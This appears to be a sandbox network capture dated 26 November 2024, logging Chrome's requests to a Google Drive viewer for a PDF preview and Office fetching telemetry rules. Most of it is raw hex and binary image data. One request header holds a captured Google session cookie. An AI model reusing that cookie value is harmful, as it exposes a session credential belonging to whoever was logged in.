2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 55 2b 32 30 30 30 2d 32 30 36 46 2c 55 2b 32 30 41 43 2c 55 2b 32 31 32 32 2c 55 2b 32 31 39 31 2c 55 2b 32 31 39 33 2c 55 2b 32 32 31 32 2c 55 2b 32 32 31 35 2c 55 2b 46 45 46 46 2c 55 2b 46 46 46 44 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 34 36 30 2d 30 35 32 46 2c 55 2b 31 43 38 30 2d Data Ascii: U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 30 2d 30 32 42 41 2c 55 2b 30 32 42 44 2d 30 32 43 35 2c 55 2b 30 32 43 37 2d 30 32 43 43 2c 55 2b 30 32 43 45 2d 30 32 44 37 2c 55 2b 30 32 44 44 2d 30 32 46 46 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 31 44 30 30 2d 31 44 42 46 2c 55 2b 31 45 30 30 2d 31 45 39 46 2c 55 2b 31 45 46 32 2d 31 45 46 46 2c 55 2b 32 30 32 30 2c 55 2b 32 30 41 30 2d 32 30 41 42 2c 55 2b 32 30 41 44 2d 32 30 43 30 2c 55 2b 32 31 31 33 2c 55 2b 32 43 36 30 2d 32 43 37 46 2c 55 2b 41 37 32 30 2d 41 37 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f Data Ascii: 'woff2');unicode-range:U+0100-02BA,U+02BD-02C5,U+02C7-02CC,U+02CE-02D7,U+02DD-02FF,U+0304,U+0308,U+0329,U+1D00-1DBF,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20C0,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;fo
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 31 2c 55 2b 30 33 41 33 2d 30 33 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 78 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 32 2d 30 31 30 33 2c 55 2b 30 31 31 30 2d 30 31 31 31 2c 55 2b 30 31 32 38 2d 30 31 32 39 2c 55 2b 30 31 36 38 2d 30 31 36 39 2c 55 2b 30 31 41 30 2d 30 31 41 31 2c 55 2b 30 31 41 46 2d 30 31 Data Ascii: 1,U+03A3-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 33 30 31 2c 55 2b 30 34 30 30 2d 30 34 35 46 2c 55 2b 30 34 39 30 2d 30 34 39 31 2c 55 2b 30 34 42 30 2d 30 34 42 31 2c 55 2b 32 31 31 36 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 57 55 6c 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 31 46 30 30 2d 31 46 46 46 3b Data Ascii: off2');unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:700;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2)format('woff2');unicode-range:U+1F00-1FFF;
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 2c 55 2b 30 33 30 34 2c 55 2b 30 33 30 38 2c 55 2b 30 33 32 39 2c 55 2b 32 30 30 30 2d 32 30 36 46 2c 55 2b 32 30 41 43 2c 55 2b 32 31 32 32 2c 55 2b 32 31 39 31 2c 55 2b 32 31 39 33 2c 55 2b 32 32 31 32 2c 55 2b 32 32 31 35 2c 55 2b 46 45 46 46 2c 55 2b 46 46 46 44 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 74 69 74 6c 65 3e 62 6c 2e 34 34 30 34 31 37 33 38 31 5f 34 30 37 32 32 30 35 38 37 30 32 5f 30 30 32 34 31 30 32 30 32 34 30 32 2e 31 30 32 37 32 30 32 34 30 39 34 34 33 30 2e 74 65 6d 70 2e 6f 75 74 70 75 74 2e 70 64 66 20 2d 20 47 6f 6f 67 6c 65 20 44 72 69 76 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 7a 73 31 36 Data Ascii: ,U+0304,U+0308,U+0329,U+2000-206F,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}</style><meta name="referrer" content="origin"><title>bl.440417381_40722058702_002410202402.10272024094430.temp.output.pdf - Google Drive</title><script nonce="zs16
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 22 7a 73 31 36 63 53 78 6b 47 62 69 76 69 62 64 2d 54 54 32 72 43 77 22 3e 20 77 69 6e 64 6f 77 5b 27 5f 44 52 49 56 45 5f 56 49 45 57 45 52 5f 63 74 69 6d 69 6e 67 27 5d 5b 27 63 6c 65 27 5d 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 7a 73 31 36 63 53 78 6b 47 62 69 76 69 62 64 2d 54 54 32 72 43 77 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 54 53 44 74 56 22 3a 22 25 2e 40 2e 5b 5b 6e 75 6c 6c 2c 5b 5b 34 35 36 36 34 34 36 37 2c 6e 75 6c 6c 2c 66 61 6c 73 65 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5c 22 64 58 56 38 53 64 5c 22 5d 2c 5b 34 35 36 36 31 31 33 37 2c 6e 75 6c 6c Data Ascii: "zs16cSxkGbivibd-TT2rCw"> window['_DRIVE_VIEWER_ctiming']['cle']=performance.now(); </script><script data-id="_gd" nonce="zs16cSxkGbivibd-TT2rCw">window.WIZ_global_data = {"TSDtV":"%.@.[[null,[[45664467,null,false,null,null,null,\"dXV8Sd\"],[45661137,null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49756	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:00 UTC	1088	OUT	GET /drive-viewer/AKGpihZPTHurC_3PW-2mxVQGbyRSA02YDwGWm31Pu-kWjYQqnRfl-419jEo_DsKMuyADdk5RKszAeHLh6u1-4TXiuUDclJjpgWevTjw=s1600-rw-v1 HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8
2024-11-26 07:55:01 UTC	875	IN	HTTP/1.1 200 OK Content-Type: image/webp Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: sandbox X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff Vary: Origin Access-Control-Allow-Origin: * Timing-Allow-Origin: * Access-Control-Expose-Headers: Content-Length ETag: "v1" Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: private, max-age=86400, no-transform Content-Disposition: inline;filename="bl.440417381_40722058702_002410202402.10272024094430.temp.output.pdf.webp" Date: Tue, 26 Nov 2024 07:55:00 GMT Server: fife Content-Length: 77078 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 07:55:01 UTC	515	IN	Data Raw: 52 49 46 46 0e 2d 01 00 57 45 42 50 56 50 38 20 02 2d 01 00 10 56 04 9d 01 2a 00 04 a8 05 3e b5 58 a6 4f 27 24 a4 23 23 73 99 a0 e0 16 89 69 6e fc 39 0d 40 bd 21 37 b6 68 f3 4f fb 33 58 47 d6 f9 a7 d7 5f dd f9 30 ec 23 b1 7c ea 1c 7f d4 2f eb 0f 60 ee 72 3e 63 bc e0 3d 41 7f 9b f4 5d ea aa de 7b f2 40 d5 9d f1 d7 f8 2f ed be b8 7e 47 fa 57 f8 6f ed 9f e8 ff e5 ff 73 fd e7 f6 6f f2 1f 9a ff 01 fd cf fc b7 fc 8f ef 9f 1e 5f 2f 7f a7 fe 83 c2 b7 a2 7f 03 ff 5b fd 17 fa 5f 61 ff 97 7d ce fd 8f f7 9f f4 9f b3 be c6 7f 9d fe e5 fe 8f f6 97 d1 1f cd 7f 59 ff 55 fe 03 f2 bb e4 17 f2 ef e7 3f ed 3f b5 fe fe fc 17 7c af ec 5f fa 5e f4 cd 4f fc c7 fd 5f f1 ff ea 7d c1 7d 6b fa 27 fd 3f f0 3f e9 3f 72 bd d4 fd 63 fd 2f f8 4f f4 df b1 bf 03 fe 6d fd 97 fd cf f7 5f f1 Data Ascii: RIFF-WEBPVP8 -V*>XO'$##sin9@!7hO3XG_0#\|/`r>c=A]{@/~GWoso_/[_a}YU??\|_^O_}}k'???rc/Om_
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: e2 75 32 52 79 a6 d6 e6 6a 94 b9 b4 7c 4c bb a1 8a 6e 0c c9 c1 21 d0 d8 33 e8 55 75 bd 62 c5 b0 0b 8b 5b a8 ae e0 bb 5e eb 7f 69 8a 9e ad af de a7 f9 e0 d5 f4 92 ff 9c 66 3e 8f b7 2b a2 b2 08 8f 5b 21 02 33 d0 50 bd 88 46 8e 8b b3 8b f4 59 76 e7 3c 9e bc af 60 8e 55 e8 db 0c 3f ad 6e 48 9c 36 53 bd 66 7c 0c 0c 3f a8 e0 81 2c 77 88 10 3c e4 4c 47 20 2b d0 a4 45 a3 c4 bd e1 81 2c 0d 31 2f cd 40 bd 08 06 8f 7c f9 c3 1b 48 d2 d2 10 60 d7 2b fe ed c1 c9 f3 8d 5e 50 c2 fa bf a6 f1 80 53 a6 97 39 74 7a 6f bc c1 dd 0f 3d f6 7f bc 1c 08 6d 75 66 00 23 55 78 88 d9 08 c1 88 0c f0 17 a1 97 31 c1 c6 99 5b 23 0e 2d 05 0a 0f c3 d4 0c 48 02 74 eb 3e 90 9c 6d 08 52 fb 81 9e 66 9c 90 7a e5 56 a9 a2 a3 b2 86 53 64 23 17 86 54 8f 37 80 2b 0a 73 4a 94 70 71 05 66 7f 74 fe c7 Data Ascii: u2Ryj\|Ln!3Uub[^if>+[!3PFYv<`U?nH6Sf\|?,w<LG +E,1/@\|H`+^PS9tzo=muf#Ux1[#-Ht>mRfzVSd#T7+sJpqft
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 1d 4c a8 64 1c 12 4d b1 91 ec 6a 7b 70 66 e1 c3 30 ae f7 ae e4 8d 73 48 6c a1 36 3b e8 c3 e1 7b d6 07 5b 83 9b ff e0 ce f6 4e 68 3d 1e 74 5b 0b 82 cd 16 f7 9b 3f ee c9 fe 28 6a 09 50 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 39 5f 1d 2d 94 2b 30 0b f2 65 a4 6b 2c 8e 37 f6 c6 bf 01 b9 43 82 98 ae 84 e8 fb 42 79 38 9c 17 2c a7 ae a9 1a 71 09 47 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 84 4a 18 34 68 8f 73 b2 43 30 7d 40 fa 63 f6 9b 52 d3 f0 f6 21 87 cf bb 07 e9 5e e1 aa 50 0a 0f 7e 0d a7 72 10 c7 08 94 86 5c c7 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 9e 1c 74 8d 32 40 12 85 c0 79 3d 74 1b f5 41 e6 82 c3 09 ea b5 0d 10 c4 77 00 90 63 dd a2 8c 1d 7a 55 45 17 67 4e 55 e1 0a 5d 27 10 94 70 71 a7 0e a6 54 32 0e 34 e1 d4 ca Data Ascii: LdMj{pf0sHl6;{[Nh=t[?(jPeC NLdi9_-+0ek,7CBy8,qGpeC NLdiJ4hsC0}@cR!^P~r\peC NLdit2@y=tAwczUEgNU]'pqT24
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 1a 63 1e 26 84 54 27 d1 18 3c 06 53 01 ff 94 71 d1 58 eb e1 c2 38 7b 7b cf 28 b1 6e 36 b9 ab 6d 67 dd f0 f6 80 84 55 17 e2 d5 b5 a4 a8 d7 17 a8 ba 54 3b 71 0c f5 3a 54 3a a1 d6 b2 4b 00 96 11 4a 0c 38 3f 70 8f 56 5e 87 79 5e 6b 9e a0 d8 1a 94 9d 70 14 16 73 3e 8c 1a be be 6a d5 52 9f 05 dc 91 52 c4 a9 c3 9f 48 45 eb 65 26 e9 87 69 2a 90 2c be 10 5d eb 45 33 7a 99 50 c8 38 d3 85 90 9d ce 09 80 40 86 44 b5 b8 2d 56 28 e2 d4 c7 36 bb 95 a3 05 e9 12 80 4f f8 66 b7 d4 fd cb 8f 40 61 0a 8a 72 03 a9 b0 7d 77 9f c1 1c 4d 2e 60 cf fb bc 9c 54 cd 06 56 9f 26 3c 09 4b 8f 1e 75 11 bf b4 7d d0 f9 f3 68 70 f9 dd 7c 6e 4d 51 aa 63 fd d8 11 66 95 c1 76 c6 fe fc 64 c3 10 f1 07 f2 8c 7b 85 b9 70 e3 47 e5 11 e8 e1 f8 24 a5 fa 57 02 f6 07 a9 95 0c 7e df aa 2f 81 ea 57 8c 1f Data Ascii: c&T'<SqX8{{(n6mgUT;q:T:KJ8?pV^y^kps>jRRHEe&i*,]E3zP8@D-V(6Of@ar}wM.`TV&<Ku}hp\|nMQcfvd{pG$W~/W
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 04 fe 31 99 f1 22 ec ec 09 d9 28 64 da 6b e7 27 0f ef 0f 30 df 70 94 b7 ff 7d 81 59 78 99 8c e9 8b aa 87 53 2a 19 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8c e6 bf b9 01 35 8e e8 c9 37 86 30 18 30 dd 77 39 8a 58 e8 02 c5 91 36 2b 40 f2 ae ac d2 53 47 46 b4 3b 51 d8 b0 1b 80 e0 b8 33 a0 b7 d3 de 29 41 62 7b 52 98 79 b7 72 14 f1 d2 2f ea 72 07 37 7a 80 d6 82 46 75 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 99 81 f1 09 50 52 2f 46 63 a2 ad d0 ba fb c3 b1 4d 86 de 89 b9 68 03 d5 2e 9a 26 d9 ea 74 f5 e5 64 e5 be ea fc ca 3a 51 9f a0 70 e4 93 32 30 4f f7 66 f1 63 3a ad 7a 2b 93 81 3f 6b cf a9 a2 7c ae 78 0d 83 1e 00 bc db 1a 95 76 95 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 8f dc f9 80 05 23 f8 61 f0 Data Ascii: 1"(dk'0p}YxS*peC NLdi5700w9X6+@SGF;Q3)Ab{Ryr/r7zFu8u2qT24APR/FcMh.&td:Qp20Ofc:z+?k\|xvC NLdi8u2#a
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 9c 3a 99 50 c8 38 d3 87 53 2a 19 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 9c 3a 99 50 c8 38 d3 87 53 2a 19 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 9c 3a 99 50 c8 38 d3 87 53 2a 19 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 9c 3a 99 50 c8 38 d3 87 53 2a 19 07 1a 70 ea 65 43 20 e3 4e 1d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 9c 3a 99 50 c8 38 d3 87 53 2a 19 07 1a 70 ea Data Ascii: eC NLdi8u2qT24A:P8SpeC NLdi8u2qT24A:P8SpeC NLdi8u2qT24A:P8SpeC NLdi8u2qT24A:P8SpeC NLdi8u2qT24A:P8S*p
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 39 13 2f 63 b3 d2 61 42 05 1a aa db 31 72 56 5d b9 09 6e 93 8c 2e 01 db c0 b3 ad 71 60 bd a7 95 b5 45 9a 35 e4 7d d0 b3 2e 70 55 9b 6b 4b 33 ad 1d e7 b0 9b 59 5e bf 75 58 9b 42 5d 38 2d 10 0a 47 d4 c9 dc 70 1b 01 2c b6 e9 03 e0 be 38 54 f3 34 ed 07 3e e0 23 bb 1d 26 36 4a b2 a0 8f 5c c7 95 7d 96 1b 29 a6 0b 05 c7 22 7f e5 a7 e2 8d dc 90 10 6e d4 3a 9d 2a 1b 67 d1 57 95 e3 2a 84 f3 d3 f7 73 1d 82 25 b4 ad 69 58 f7 36 85 04 48 de dd 46 65 ab 4d b8 35 b0 41 a7 b9 06 97 90 37 f7 23 b4 73 a1 bf 52 d7 7c 9d b7 a5 3a 6f 0f de 2b cc 31 3e ea fd a1 ff 57 01 23 98 6f ec 19 db a9 71 83 c1 7f f7 d0 35 b2 bb 5a 1e b9 7e c0 62 c9 af 55 ab e4 d5 2e 46 97 ed 55 e1 11 47 f4 ed 15 87 f3 63 79 95 3f 74 a9 22 26 e6 92 68 10 be 0d 06 d3 20 83 ee 7c b1 d5 64 83 48 03 e4 34 d7 Data Ascii: 9/caB1rV]n.q`E5}.pUkK3Y^uXB]8-Gp,8T4>#&6J\})"n:gWs%iX6HFeM5A7#sR\|:o+1>W#oq5Z~bU.FUGcy?t"&h \|dH4
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 9c 3a 99 50 c8 38 d3 87 53 49 65 07 4b 3b af 8d c9 aa 34 f0 3d 4c a8 64 1c 69 c3 a9 95 0c 83 8d 38 75 32 a1 90 71 a7 0e a6 54 32 0e 34 e1 d4 ca 86 41 c6 9c 00 00 00 fe ff 60 a0 00 48 4e 55 7b 73 e7 bb c5 ff bb d1 fd 41 c4 4d 3a 1b 31 da 8c 4d 71 e7 58 dc 5b 2e 5b 21 a0 54 a9 49 8e cd f1 56 2f 57 a7 6a 33 a7 4d 26 a1 a4 41 7a c6 3d 2a e4 39 08 90 31 bf 8a 90 e3 96 b0 02 1d 1f b1 0b 75 a8 dd 24 41 50 30 c3 17 39 e2 fa 07 83 99 db d0 f7 00 05 5d 39 da b7 e3 3e 29 84 16 56 5d 7a d1 5e c0 2e 88 11 0c 64 be b0 b0 3d 92 93 76 ab 0d ee a9 86 04 df a4 d7 8f 31 b9 c9 2e 7b b7 3e 03 a1 7d ea db 46 fb e8 f0 95 fd 0d e8 7c ff 2c 8b 7b cb f9 8b 39 89 86 b4 18 a8 70 c5 2f 23 fe 9c 86 2d 73 22 37 e5 91 83 16 ed 41 57 98 14 85 63 f5 26 3d cc 92 14 9c 3e 6a 3c 4d d4 a8 ce Data Ascii: :P8SIeK;4=Ldi8u2qT24A`HNU{sAM:1MqX[.[!TIV/Wj3M&Az=*91u$AP09]9>)V]z^.d=v1.{>}F\|,{9p/#-s"7AWc&=>j<M
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: 1e a0 c9 d1 ba d0 f2 67 6b df d0 bf b2 82 d4 00 dd f1 ff 2d ef 71 82 6f 9f 4d 26 17 fc f5 2e 11 a1 06 c3 c9 e0 f1 21 9c ac 2b 24 b8 4e ef 93 9c 4b 5e d0 2f 7a 71 5f b0 9b b6 8b 2c 3f 86 77 df 57 df 08 b9 fb 73 6d 21 8e f4 51 5c dc ec c0 4f 59 19 bf 98 da 6b dc bb 91 26 85 19 d8 90 68 fb 85 45 3a 9d de a3 73 b5 33 22 43 f3 81 e6 71 6b 81 2d 4f a5 c5 24 14 b2 83 3f c5 4c 19 2d d3 8b a1 93 7d da 33 ab ee 3e c4 53 a5 7c 37 a3 41 f9 e7 28 11 f1 97 9d b8 31 19 00 83 b0 28 c2 93 3a 2d fc 06 dd e2 bb b2 ca 9c 54 f3 b5 87 62 80 13 5d 75 94 98 8d e9 0f 63 48 70 a0 6a be 9c dd e2 3a 5c 7b a7 01 1f d9 ca 85 80 37 4b 37 34 8f ea 2a 14 65 25 45 a4 4b 4e 05 c7 44 96 d8 57 7b 42 0f e4 bb 00 5f 3e 3b 14 d7 3b 8c 99 f4 fe 18 a9 e9 cf d7 0c 5e 89 63 6c b4 10 e9 56 b1 25 26 Data Ascii: gk-qoM&.!+$NK^/zq_,?wWsm!Q\OYk&hE:s3"Cqk-O$?L-}3>S\|7A(1(:-Tb]ucHpj:\{7K74*e%EKNDW{B_>;;^clV%&
2024-11-26 07:55:01 UTC	1390	IN	Data Raw: dc 56 51 e1 5c e8 ff 76 a4 a8 53 8a 99 ea d6 c1 4c 98 5f 3d ec 1d d5 6f 1d 96 39 75 b6 41 75 d9 49 97 a0 0b 95 7a c1 b3 fa 0f f2 31 a5 c6 ba 8a 7e 29 dd 15 a4 0d 7c 9c 73 b0 ea b5 0c 0d 37 8a c6 82 5c 44 a3 91 18 a4 d0 32 1a 32 f3 2b 45 20 a5 57 9c dc 5d 8d ad 33 c9 50 b3 3e 75 0d 1e 38 72 d8 2f 40 80 dc 81 c2 69 d7 73 b2 87 d2 83 37 16 e0 a4 00 44 21 03 10 f5 bc e8 f4 c9 58 77 d7 9d 7d 2e a5 d2 2d e6 e4 1b 1c 4c 9d ee 64 0d 8d 8b 0f 31 1f 2f f8 94 45 1d 73 26 ca 15 f6 42 d7 24 07 cb a8 7a ec f2 b7 77 c4 1f b8 e6 65 3f 9e f3 b1 03 0b 02 a6 bd 53 14 9f 4a a0 37 4d ec d8 6f 81 b7 68 41 fa 84 b1 49 2c 04 78 da c2 7c fb e9 01 b6 cd f3 73 ac d8 e2 bf 18 f7 d9 ba 1a 3f bb 80 5e ec a0 39 d0 13 f9 65 0e a7 13 cf e0 6a 83 81 60 a2 38 b5 ff 92 6d 3c b9 b4 18 e0 4e Data Ascii: VQ\vSL_=o9uAuIz1~)\|s7\D22+E W]3P>u8r/@is7D!Xw}.-Ld1/Es&B$zwe?SJ7MohAI,x\|s?^9ej`8m<N

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:02 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:03 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:02 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075502Z-174f7845968vqt9xhC1EWRgten0000000v80000000002pr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:03 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
